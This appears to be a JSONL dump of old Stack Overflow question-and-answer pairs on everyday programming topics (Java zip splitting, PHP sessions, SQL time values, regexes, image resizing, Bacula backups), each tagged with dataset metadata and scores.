{"id": "hf_fdfd69183418", "question": "<p>I see a lot of IoC frameworks for .Net and Java.  Does anyone know why there are no equivalent frameworks for Smalltalk.  This is more a philosophy question than anything else.  I'm wondering if there is something in the Smalltalk way of doing things that precludes the necessity of having an IoC framework.</p>\n", "question_body": "", "answer": "MVC\nwas invented on Smalltalk and is arguably the original\nInversion of Control\nframework.  While somewhat more lightweight than its java counterparts, it has the basic concepts of a model holding the data, a view rendering the data in response to events propogated from a controller.\nLess flippantly, Java is actually needs a lot of framework support to do a web application without excessive quantities of boilerplate code.  Smalltalk supports programming idioms such as\ncontinuations\n, which allow an author to pretend they are not really writing event driven code.\nSeaside\nworks like this, giving the benefits of IoC with a somewhat more flexible development paradigm.\nEDIT: MVC is a framework for UI's in Smalltalk (arguably it's not really a framework as such, but the class library has built in support for it).  It has the inversion of control property in that the view and model respond to events dispatched by the controller - the don't call us, we'll call you property.  Inversion of Control is a design pattern within frameworks that's used to reduce the need for extensive boilerplate in java applications.  In some definitions of an application framework, Inversion of Control is the main property that is viewed as distinguishing a framework from a library.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:26.715181"}
{"id": "hf_692c19ef1c83", "question": "<p>Which Eclipse package should I choose for Python development with <a href=\"http://www.pydev.org/\" rel=\"nofollow noreferrer\">PyDev</a>?</p>\n\n<p>Nothing on the Eclipse homepage tells me what to choose, and the PyDev documentation assumes I already have Eclipse installed. Does it matter which Eclipse package I choose?</p>\n", "question_body": "", "answer": "If you just plan on doing Python dev, I'd just go with\nPlatform Runtime Binary\n.\nAfter that, I'd follow the instructions\nhttp://pydev.org/download.html\nand\nhttp://pydev.org/manual_101_root.html\nto install PyDev.\nI use the same setup for Python development.  I also have the RadRails plugin for Ruby on Rails development.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:26.867471"}
{"id": "hf_0bebd632bcd3", "question": "<p>I need to send an email to someone and want them to be able to simply reply to the email without having to specify the email address.</p>\n\n<p>Using sp_send_dbmail sets the reply-to address as the name of the profile that it was sent from.</p>\n\n<p>Can this be changed to specify the reply-to so it looks like it came from me.</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "Not in sp send dbmail itself\nThe reply address is just text and can be set up in the profile.\nEg I configure bob@bob.com but the email account is private@isp.com\nHit reply and it goes to bob@bob.com\nSo, configure your profile used by the sp thus to show this.\nThe line saying \"The e-mail address to show on outgoing e-mail messages.\" here\nsp send dbmail help. no parameter for reply address", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:26.891163"}
{"id": "hf_0bd8d59c9af6", "question": "<p>What do you think of using a metric of function point to lines of code as a metric?</p>\n\n<p>It makes me think of the old game show \"Name That Tune\".  \"I can name that tune in three notes!\"  I can write that functionality in 0.1 klocs!  Is this useful?</p>\n\n<p>It would certainly seem to promote library usage, but is that what you want?</p>\n", "question_body": "", "answer": "KLOC is tolerable if you strictly enforce code standards, kind of like using page requirements for a report: no putting five statements on a single line or removing most of the whitespace from your code.\nI guess one way you could decide how effective it is for your environment is to look at several different applications and modules, get a rough estimate of the quality of the code, and compare that to the size of the code. If you can demonstrate that code quality is consistent within your organization, then KLOC isn't a bad metric.\nIn some ways, you'll face the same battle with any similar metric. If you count feature or function points, or simply features or modules, you'll still want to weight them in some fashion. Ultimately, you'll need some sort of subjective supplement to the objective data you'll collect.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:26.925893"}
{"id": "hf_4583d293cc2b", "question": "<p>When I create a zip Archive via <code>java.util.zip.*</code>, is there a way to split the resulting archive in multiple volumes?  </p>\n\n<p>Let's say my overall archive has a <code>filesize</code> of <code>24 MB</code> and I want to split it into 3 files on a limit of 10 MB per file.<br>\nIs there a zip API which has this feature? Or any other nice ways to achieve this?</p>\n\n<p>Thanks\nThollsten</p>\n", "question_body": "", "answer": "Check:\nhttp://saloon.javaranch.com/cgi-bin/ubb/ultimatebb.cgi?ubb=get_topic&f=38&t=004618\nI am not aware of any public API that will help you do that.\n(Although if you do not want to do it programatically, there are utilities like WinSplitter that will do it)\nI have not tried it but, every ZipEntry while using ZippedInput/OutputStream has a compressed size. You may get a rough estimate of the size of the zipped file while creating it. If you need 2MB of zipped files, then you can stop writing to a file after the cumulative size of entries become 1.9MB, taking .1MB for Manifest file and other zip file specific elements.\nSo, in a nutshell, you can write a wrapper over the ZippedInputStream as follows:\n```\n```\nimport java.io.File;\nimport java.io.FileNotFoundException;\nimport java.io.FileOutputStream;\nimport java.io.IOException;\nimport java.util.zip.ZipEntry;\nimport java.util.zip.ZipOutputStream;\n\npublic class ChunkedZippedOutputStream {\n\n    private ZipOutputStream zipOutputStream;\n\n    private final String path;\n    private final String name;\n\n    private long currentSize;\n    private int currentChunkIndex;\n    private final long MAX_FILE_SIZE = 16000000; // Whatever size you want\n    private final String PART_POSTFIX = \".part.\";\n    private final String FILE_EXTENSION = \".zip\";\n\n    public ChunkedZippedOutputStream(String path, String name) throws FileNotFoundException {\n        this.path = path;\n        this.name = name;\n        constructNewStream();\n    }\n\n    public void addEntry(ZipEntry entry) throws IOException {\n        long entrySize = entry.getCompressedSize();\n        if ((currentSize + entrySize) > MAX_FILE_SIZE) {\n            closeStream();\n            constructNewStream();\n        } else {\n            currentSize += entrySize;\n            zipOutputStream.putNextEntry(entry);\n        }\n    }\n\n    private void closeStream() throws IOException {\n        zipOutputStream.close();\n    }\n\n    private void constructNewStream() throws FileNotFoundException {\n        zipOutputStream = new ZipOutputStream(new FileOutputStream(new File(path, constructCurrentPartName())));\n        currentChunkIndex++;\n        currentSize = 0;\n    }\n\n    private String constructCurrentPartName() {\n        // This will give names is the form of <file_name>.part.0.zip, <file_name>.part.1.zip, etc.\n        return name + PART_POSTFIX + currentChunkIndex + FILE_EXTENSION;\n    }\n}\n```\n```\nThe above program is just a hint of the approach and not a final solution by any means\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:26.949026"}
{"id": "hf_90f6f5f75836", "question": "<p>I am looking for a way to maintain PHP sessions across multiple domains on the same server. I am going to be integrating my sites with a Simple Machines Forum so I will need to use MySQL based sessions. Thanks!</p>\n", "question_body": "", "answer": "Depending upon your preferred method of modifying PHP variables (Apache's config, .htaccess), change the session.cookie_domain value to be a consistent value.\nI have multiple sub-domains, and each VirtualHost section in the Apache config file contains the following line:\nphp_value session.cookie_domain  mydomain.com\nThe syntax should be similar if you make the changes in a .htaccess file.\nUpdated for bobert5064's comment:\nFor multiple domains (ie domain1.com, domain2.org), I think it is only necessary to choose a common domain name (ie domain1.com).  I have never tried this, so I cannot verify that it works, but the logic seems accurate.\nThere is also a method to set the variables direction in PHP described at\nhttp://us.php.net/manual/en/function.session-set-cookie-params.php\n.  The documentation makes no reference to the ability or inability to set cookies on a different domain.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:27.007813"}
{"id": "hf_1e72638bf3f1", "question": "<p>I am trying to insert a time only value, but get the following error</p>\n\n<blockquote>\n  <ul>\n  <li>ex  {\"SqlDateTime overflow. Must be between 1/1/1753 12:00:00 AM and 12/31/9999 11:59:59 PM.\"}  System.Exception</li>\n  </ul>\n</blockquote>\n\n<p>From the front end, the time is selected using the \"TimeEdit\" control, with the up and down arrows. The table in SQL Server has the fields set as smalldatetime. I only need to store the time. I use the following to return data to the app</p>\n\n<p>select id,CONVERT(CHAR(5),timeFrom,8)as timeFrom,CONVERT(CHAR(5),timeTo,8)as timeTo\nFROM dbo.Availability\nwhere id = @id\nand dayName = @weekday</p>\n\n<p>How do I pass time only to the table?</p>\n\n<p>Edit ~ Solution\nAs per Euardo and Chris, my solution was to pass a datetime string instead of a time only string. I formatted my result as per <a href=\"http://msdn.microsoft.com/en-us/library/az4se3k1(VS.71).aspx\" rel=\"nofollow noreferrer\">Time Format</a> using \"g\".</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "there is no such thing as Time in SQL, there is only DateTime.\nFor your purpose, I would use something like this to only return the time portion.\n```\n```\nSELECT (GETDATE() - (CAST(FLOOR(CAST(GETDATE() as FLOAT)) AS DateTime)))\n```\n```\nwhere GETDATE() is the datetime you want to filter.\nWhen setting the time in the database, you will have to add '01/01/1901' or '01/01/1753' to the time.\nDont use CAST and Convert to varchar when working with datetime, its slow. Stick to floating numerical operations.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:27.066778"}
{"id": "hf_2577d397bf23", "question": "<p>Wanna write a RegEx to validate a driving license. </p>\n\n<p>if it doesn't start with (US, CA, CN) then it has to be followed with XX and after that with any number of Alpha numeric letters. </p>\n\n<p>So for example if the driving license starts with GB then it has to be followed with XX\nGBXX12345363\nHowever if it starts with US then we don't care what comes after it. \nUSLA039247230</p>\n", "question_body": "", "answer": "```\n```\n/^(?:(?:US|CA|CN)\\w+|[[:alpha:]]{2}XX\\w+)$/\n```\n```\nI'm not sure if there's more validation that can be done, but this is what I get from what you wrote, not your examples (which seem to imply four letters followed by numbers).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:27.090311"}
{"id": "hf_6509fddf6f52", "question": "<p>I have a <code>&lt;button&gt;</code> with an accesskey assgined to it. The accesskey works fine as long as the button is visible, but when I set <code>display: none</code> or <code>visibility: hidden</code>, the accesskey no longer works.</p>\n\n<p>Also tried without success:</p>\n\n<ul>\n<li>Use a different element type: a, input (various types, even typeless).</li>\n<li>Assign the accesskey to a label that wraps the invisible control.</li>\n</ul>\n\n<p>Note, I'm not sure if this is the standard behavior, but prior to Firefox 3 the accesskey seemed to worked regardless of visibility.</p>\n", "question_body": "", "answer": "You can apply a negative margin to push the element outsite of the visible page. I think many browsers and text readers ignore elements with\n```\ndisplay:none\n```\nand possibly also\n```\nvisibility:hidden\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:27.113231"}
{"id": "hf_99eb2f97b218", "question": "<p>I'm developing a poker game in C#. At the moment I'm trying to get the players hand score using <code>RegEx</code>. I search the string (composed of the cards suit and number) and look for suits or numbers to match the <code>RegEx</code>. If i get 2 matches then the player has a pair, 3 matches he has 3 of a kind. </p>\n\n<p>I have 3 classes at the moment, a Card class (with number and suit), a Deck class (that contains 52 Cards) and a Hand class that gets five cards from the shuffled deck.</p>\n\n<p>Deck class has a <code>shuffleDeck()</code>;\nHand class has the functions to calculate the score (is in these functions that I am using RegEx).</p>\n\n<p>I generate the string on which I use <code>RegEx</code> by adding the 5 suits and numbers that the hand has.</p>\n\n<p>Is this a good idea or should I do it another way, if so, how?</p>\n\n<p>Thank you for your help</p>\n\n<p>PS. I am one of the unexperienced programmers that want to use a newly learned tool for everything</p>\n", "question_body": "", "answer": "You have not provided much detail, but what from what I have read, I assume you're not pushing the OOP very far...\nI would have a Card class that has a Rank and Suit class instances. I would then have a deck class that handles shuffling / dealing...\nI would then have a Hand class that would contain your poker hand of n Card objects...\nIn this way you can build up rules to evaluate each hand object, thus being more flexible and more extensible in the future...say if you want to make another card game / add support for another variant of poker...\nUsing Regular expressions to do all of this seems to be a pretty poor choice.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:27.222031"}
{"id": "hf_db29f0ed916e", "question": "<p>Just for my own purposes, I'm trying to build a tokenizer in Java where I can define a regular grammar and have it tokenize input based on that. The StringTokenizer class is deprecated, and I've found a couple functions in Scanner that hint towards what I want to do, but no luck yet. Anyone know a good way of going about this?</p>\n", "question_body": "", "answer": "If I understand your question well then here are two example methods to tokenize a string. You do not even need the Scanner class, only if you want to pre-cast the tokens, or iterate through them more sofistically than using an array. If an array is enough just use String.split() as given below.\nPlease give more requirements to enable more precise answers.\n```\n```\nimport java.util.Scanner;\n\n  public class Main {    \n\n    public static void main(String[] args) {\n\n        String textToTokenize = \"This is a text that will be tokenized. I will use 1-2 methods.\";\n        Scanner scanner = new Scanner(textToTokenize);\n        scanner.useDelimiter(\"i.\");\n        while (scanner.hasNext()){\n            System.out.println(scanner.next());\n        }\n\n        System.out.println(\" **************** \");\n        String[] sSplit = textToTokenize.split(\"i.\");\n\n        for (String token: sSplit){\n            System.out.println(token);\n        }\n    }\n\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:27.245327"}
{"id": "hf_407c22d978fd", "question": "<p>Can anoyne recommend a good library that will let me easily read/write private member fields of a class? I was looking through apache commons, but couldnt see it. I must be getting blind ?</p>\n\n<p>Edit: Asking questions on the border of legalities always give these questions of \"why\"? I am writing several javarebel plugins for hotswapping classes. Accessing private variables is only step 1, I might even have to replace implementations of some methods.</p>\n", "question_body": "", "answer": "The\n```\njava.lang.reflect\n```\npackage classes and methods allow this access, within certain limits.\nSee\njava.lang.reflect", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:27.280677"}
{"id": "hf_4f1e7a8a1895", "question": "<p>I am trying to read an XML-file from another server. However the the company that's hosting me seems to have turned of the file_get_contents function from retrieving files for files from other servers (and their support is not very bright and it takes forever for them to answer). So I need a work around in some way.</p>\n\n<p>This is my current code</p>\n\n<pre><code> $url =  urldecode( $object_list_url );\n $xmlstr = file_get_contents ( $url );\n $obj = new SimpleXMLElement ( $xmlstr, LIBXML_NOCDATA );\n</code></pre>\n", "question_body": "", "answer": "The ini var you're referring to is\n```\nallow_url_fopen\n```\n. To check, run this script:\n```\n```\nvar_dump(ini_get('allow_url_fopen'));\n```\n```\nAsk your host to turn that ini value on (if it's disabled - it's on by default).\nYou should not be able to access any remote url without that ini setting on.\nAlso an idea if they won't could be to try\n```\ncopy\n```\ning the file to your server. I expect all filesystem functions will be covered by that ini setting but it's always worth a try.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:27.351819"}
{"id": "hf_f812f73f558b", "question": "<p>This may sound strange but sometimes when your ASP.NET webapp isn't working and you can't tell why, you call Microsoft, pay them something like $300 and get about 1-3 weeks of 1-3 people looking at your configuration, memory dumps, sometimes code... but usually not the db, and with a fairly good percentage they help you fix your mistakes, without necessarily up-selling you.</p>\n\n<p>I found that Novell would like to <a href=\"http://www.mono-project.com/Kickstart\" rel=\"nofollow noreferrer\">offer that for Mono</a>. Everyone knows MySQL offers it for their clients, because it was part of the reason they got a truck of money to swing by one day to change the name-plate on the door.</p>\n\n<p>I'm curious if anyone has found people for the support of these, and how they'd rate their experience:</p>\n\n<ul>\n<li>Django</li>\n<li>Rails</li>\n<li>Grails</li>\n<li>JRuby</li>\n<li>Mono [ratings]</li>\n<li>add your own.</li>\n</ul>\n", "question_body": "", "answer": "I haven't ever looked for paid support for these open source technologies, but in general I would guess until there is significant market penetration there won't be a business case for 'dial in support' of an app built by a third party.\nIn general, you'll be looking for a niche technology expert consultant that will probably charge you an hourly rate to look at your problem.\nFor django - look at djangogigs.com, or post on rentacoder.com I suppose.\nEach usually has an irc channel - you could also ask general questions there, or try to find someone for hire.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:27.375780"}
{"id": "hf_7d1818e3de17", "question": "<p>I need to resize PNG, JPEG and GIF files. How can I do this using Java?</p>\n", "question_body": "", "answer": "After loading the image you can try:\n```\n```\nBufferedImage createResizedCopy(Image originalImage, \n            int scaledWidth, int scaledHeight, \n            boolean preserveAlpha)\n    {\n        System.out.println(\"resizing...\");\n        int imageType = preserveAlpha ? BufferedImage.TYPE_INT_RGB : BufferedImage.TYPE_INT_ARGB;\n        BufferedImage scaledBI = new BufferedImage(scaledWidth, scaledHeight, imageType);\n        Graphics2D g = scaledBI.createGraphics();\n        if (preserveAlpha) {\n            g.setComposite(AlphaComposite.Src);\n        }\n        g.drawImage(originalImage, 0, 0, scaledWidth, scaledHeight, null); \n        g.dispose();\n        return scaledBI;\n    }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:27.399729"}
{"id": "hf_ee4afdbde6d3", "question": "<p>I'm trying to use the VssGet task of the MSBuild Community Tasks, and the error message \"File or project not found\" is beating me with a stick.  I can't figure out what in particular the error message is referring to.  Here's the task:</p>\n\n<pre><code>&lt;LocalFilePath Include=\"C:\\Documents and Settings\\michaelc\\My Documents\\Visual Studio 2005\\Projects\\Astronom\\Astronom.sln\" /&gt;\n\n&lt;VssGet DatabasePath=\"\\\\ofmapoly003\\Individual\\michaelc\\VSS\\Astronom_VSS\\srcsafe.ini\" \n     Path=\"$/Astronom_VSS\" \n        LocalPath=\"@(LocalFilePath)\" \n        UserName=\"build\" Password=\"build\" \n     Recursive=\"True\" /&gt;\n</code></pre>\n\n<p>If I write a Streamreader to read to either the database path or the local path, it succeeds fine.  So the path to everything appears to be accessible.  Any ideas?</p>\n", "question_body": "", "answer": "Two thoughts.  One, sometimes a type load exception manifests as a FNF - let's hope that's not it.  But if the code is actually being honest, you can track the problem using\nProcmon\nor\nFilemon\n.  Start one of those utilities and then run your task again.  You should be able to track down a record of a file that couldn't be located.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:27.435561"}
{"id": "hf_66a0c7f96a67", "question": "<p>I'm working on a site which contains a whole bunch of mp3s and images, and I'd like to display a loading gif while all the content loads. </p>\n\n<p>I have no idea how to achieve this, but I do have the animated gif I want to use. </p>\n\n<p>Any suggestions?</p>\n", "question_body": "", "answer": "Typically sites that do this by loading content via ajax and listening to the\n```\nreadystatechanged\n```\nevent to update the DOM with a loading GIF or the content.\nHow are you currently loading your content?\nThe code would be similar to this:\n```\n```\nfunction load(url) {\n    // display loading image here...\n    document.getElementById('loadingImg').visible = true;\n    // request your data...\n    var req = new XMLHttpRequest();\n    req.open(\"POST\", url, true);\n\n    req.onreadystatechange = function () {\n        if (req.readyState == 4 && req.status == 200) {\n            // content is loaded...hide the gif and display the content...\n            if (req.responseText) {\n                document.getElementById('content').innerHTML = req.responseText;\n                document.getElementById('loadingImg').visible = false;\n            }\n        }\n    };\n    request.send(vars);\n}\n```\n```\nThere are plenty of 3rd party javascript libraries that may make your life easier, but the above is really all you need.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:27.458653"}
{"id": "hf_088018839b27", "question": "<p>Is it possible to delete rows in an excel worksheet from SSIS?</p>\n", "question_body": "", "answer": "From\nforum\ncreate a file system task in control flow, deleting the file.\ncreate a sql task, excel connection type, i used my previous excel connection for this, then used a create table script as my sql statement\nleft my previous export object the same, then linked the flow of these in this order described.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:27.493227"}
{"id": "hf_e889d7ba39cc", "question": "<p>I have a pattern to match with the string:\nstring pattern = @\"asc\"\nI am checking the SQL SELECT query for right syntax, semantics, ...\nI need to say that in the end of the query string I can have \"asc\" or \"desc\".\nHow can it be written in C#?</p>\n", "question_body": "", "answer": "You want the \"alternation\" operator, which is the pipe.\nFor instance, I believe this would be represented as:\n```\n```\nasc|desc\n```\n```\nIf you want to make it a non-capturing group you can do it in the normal way. I'm not a regex expert, but that's the first thing to try.\nEDIT: MSDN has a page about\nregular expression language elements\nwhich may help you.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:27.527780"}
{"id": "hf_b8ff374e9c33", "question": "<p>In c# (3.0 or 3.5, so we can use lambdas), is there an elegant way of sorting a list of dates in descending order? I know I can do a straight sort and then reverse the whole thing, </p>\n\n<pre><code>docs.Sort((x, y) =&gt; x.StoredDate.CompareTo(y.StoredDate));\ndocs.Reverse();\n</code></pre>\n\n<p>but is there a lambda expression to do it one step?</p>\n\n<p>In the above example, StoredDate is a property typed as a DateTime.</p>\n", "question_body": "", "answer": "```\n```\ndocs.Sort((x, y) => y.StoredDate.CompareTo(x.StoredDate));\n```\n```\nShould do what you're looking for.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:27.563717"}
{"id": "hf_e373e5b2628e", "question": "<p>I'm trying to create a WPF Shape (PolyLine) editor, which is a control that I want to use to, edit shapes in a canvas.</p>\n\n<p>What the editor needs to do is to be able to display the points and lines of the shape and to move those around.</p>\n\n<p>Can anyone provide me with a idea of how I can accomplish this, or a starting point? I haven't found anything related to how I could do this, so far.</p>\n", "question_body": "", "answer": "There is good series of texts about this on\nCodeProject\nWPF Diagram Designer - Part 1\nWPF Diagram Designer - Part 2\nWPF Diagram Designer - Part 3\nWPF Diagram Designer - Part 4", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:27.624927"}
{"id": "hf_1c733a4034f7", "question": "<p>I ran into the problem that my primary key sequence is not in sync with my table rows. </p>\n\n<p>That is, when I insert a new row I get a duplicate key error because the sequence implied in the serial datatype returns a number that already exists.</p>\n\n<p>It seems to be caused by import/restores not maintaining the sequence properly.</p>\n", "question_body": "", "answer": "Try\nreindex\n.\nUPDATE: As pointed out in the comments, this was in reply to the original question.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:27.651196"}
{"id": "hf_9b0b1777d794", "question": "<p>I'm looking for a good reader/writer lock in C++. We have a use case of a single infrequent writer and many frequent readers and would like to optimize for this. Preferable I would like a cross-platform solution, however a Windows only one would be acceptable. </p>\n", "question_body": "", "answer": "You could copy Sun's excellent\nReentrantReadWriteLock\n.  It includes features such as optional fairness, lock downgrading, and of course reentrancy.\nYes it's in Java, but you can easily read and transpose it to C++, even if you don't know any Java.  The documentation I linked to contains all the behavioral properties of this implementation so you can make sure it does what you want.\nIf nothing else, it's a guide.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:27.813062"}
{"id": "hf_e7c035546380", "question": "<p>It currently is 700MB but it's conceivable that it'll grow beyond the 1GB. Normally I just copy this file to another location (for the curious, it's the database of a Zope instance,\na ZODB file).</p>\n\n<p>This file changes little from day to day, but I understand Bacula can't do inside-the-file subdivision for incremental backups. Anyway, it doesn't matter. What I want to do is a full backup daily and keep two of them and a full backup weekly and also keep two of them. So\nat any given time I can get yesterday, the day before yesterday, a week\nago and two weeks ago. Would you think that's a good idea?</p>\n\n<p>I suppose I should make two schedules, daily and weekly. But which numbers should I have on the volumes and the pools to achieve this? Two volumes of 1.5GB? Any hints or guidance is welcome, I'm not a sysadmin and my experience with Bacula is very limited.</p>\n", "question_body": "", "answer": "In my experience with bacula and backup to disk, it is best to keep one volume per backup job.   That way there is no dead space in the files as jobs expire.  Bacula can reuse the whole volume and it cuts down on disk utilization.  Use the \"Set Maximum Volume Jobs = 1\" directive in the pool resource.\nI would set up two pools, a daily and weekly.  Set the volume retention to two days in the daily and two weeks in the weekly. Schedule the daily on say, mon-sat, and the weekly on sunday.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:27.854171"}
{"id": "hf_1f8c420a51fd", "question": "<p>I am getting a DC for a window handle of an object in another program using win32gui.GetDC which returns an int/long.  I need to blit this DC into a memory DC in python.  The only thing I can't figure out how to do is get a wxDC derived object from the int/long that win32gui returns.  None of the wxDC objects allow me to pass an actual DC handle to them from what I can tell.  This of course keeps me from doing my blit. Is there any way to do this?</p>\n", "question_body": "", "answer": "From what I can tell, DCs in python are abstracted due to platform variation.  So a device context in python doesn't directly map to a device context in Windows even though many of the methods are direct Windows method calls.  To make this happen it appears you would need to make your own DelegateDC class or something similar that is intended just for Windows so that you could set the DC handle directly.\nThere might also be some way to attach a wxWindow to the window handle after which you could get a wxWindowDC from the wxWindow...can't figure this out though.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:27.881407"}
{"id": "hf_7b4ecc7a239b", "question": "<p>I'm trying to run a shell command using the backtick operators, but the fact that the child process inherits php's open file descriptors is problematic.  Is there a way to keep this from happening?</p>\n\n<p>I'm running PHP 5.1.2</p>\n", "question_body": "", "answer": "The only way I really know of is to have the children open up their own resources after forking.\nThere is a fairly decent tutorial on pcntl here:\nhttp://www.hackingwithphp.com/16/0/0/miscellaneous-topics\nhttp://www.hackingwithphp.com/16/1/4/duplication-of-resources-when-forking", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:27.951264"}
{"id": "hf_1902021fcb81", "question": "<p>Right now, I have </p>\n\n<pre><code>SELECT gp_id FROM gp.keywords \nWHERE keyword_id = 15 \nAND (SELECT practice_link FROM gp.practices \n     WHERE practice_link IS NOT NULL \n     AND id = gp_id)\n</code></pre>\n\n<p>This does not provide a syntax error, however for values where it should return row(s), it just returns 0 rows.</p>\n\n<p>What I'm trying to do is get the gp_id from gp.keywords where the the keywords table keyword_id column is a specific value and the practice_link is the practices table corresponds to the gp_id that I have, which is stored in the id column of that table.</p>\n", "question_body": "", "answer": "```\n```\nselect k.gp_id \nfrom gp.keywords as k,\n     gp.practices as p\nwhere\nkeyword_id=15\nand practice_link is not null\nand p.id=k.gp_id\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:27.974432"}
